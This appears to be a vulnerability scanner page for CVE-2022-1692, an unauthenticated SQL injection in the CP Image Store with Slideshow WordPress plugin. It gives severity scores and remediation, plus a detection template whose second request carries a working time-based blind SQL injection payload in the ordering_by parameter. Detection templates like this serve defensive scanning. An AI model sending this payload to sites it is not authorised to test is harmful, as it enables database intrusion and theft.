CP Image Store with Slideshow <= 1.0.67 - SQL Injection
CVE-2022-1692
Verified
Description
The CP Image Store with Slideshow WordPress plugin before 1.0.68 does not sanitise and escape the ordering_by query parameter before using it in a SQL statement in pages where the [codepeople-image-store] is embed, allowing unauthenticated users to perform an SQL injection attack.
Severity
Critical
CVSS Score
9.8
Exploit Probability
73%
Published Date
February 26, 2026
Template Author
shivam kamboj
CVE-2022-1692.yaml
id: CVE-2022-1692
info:
name: CP Image Store with Slideshow <= 1.0.67 - SQL Injection
author: Shivam Kamboj
severity: critical
description: |
The CP Image Store with Slideshow WordPress plugin before 1.0.68 does not sanitise and escape the ordering_by query parameter before using it in a SQL statement in pages where the [codepeople-image-store] is embed, allowing unauthenticated users to perform an SQL injection attack.
impact: |
Unauthenticated attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or full database compromise.
remediation: |
Update to version 1.0.68 or later.
reference:
- https://wpscan.com/vulnerability/83bae80c-f583-4d89-8282-e6384bbc7571/
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cp-image-store/cp-image-store-with-slideshow-1067-unauthenticated-sql-injection
- https://nvd.nist.gov/vuln/detail/CVE-2022-1692
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-1692
epss-score: 0.73448
epss-percentile: 0.98823
cwe-id: CWE-89
metadata:
verified: true
max-request: 2
tags: cve,cve2022,wordpress,wp,wp-plugin,sqli,cp-image-store,unauth
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/?s=codepeople-image-store&post_type=page&feed=rss2"
matchers:
- type: word
words:
- '<item>'
internal: true
extractors:
- type: regex
name: path
regex:
- '<link>https?://[^/]+(/[a-zA-Z0-9][^<]*)</link>'
group: 1
internal: true
- method: GET
path:
- "{{RootURL}}{{path}}?ordering_by=post_title%20DESC%2C(SELECT%209143%20FROM%20(SELECT(SLEEP(8)))cFAm)--%20"
redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'duration >= 8'
- 'contains(body, "cpis_image=")'
- 'status_code == 200'
condition: and
# digest: 4a0a0047304502210087c357a879960b0180907a747f5b42e8ed48c9e994b7820a77ed3facd333227802202f867935a919ed33774b7a3828995408c97ab1f673d6260ab11c8615223370e9:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2022-1692
CWE ID:
cwe-89
Remediation Steps
Update to version 1.0.68 or later.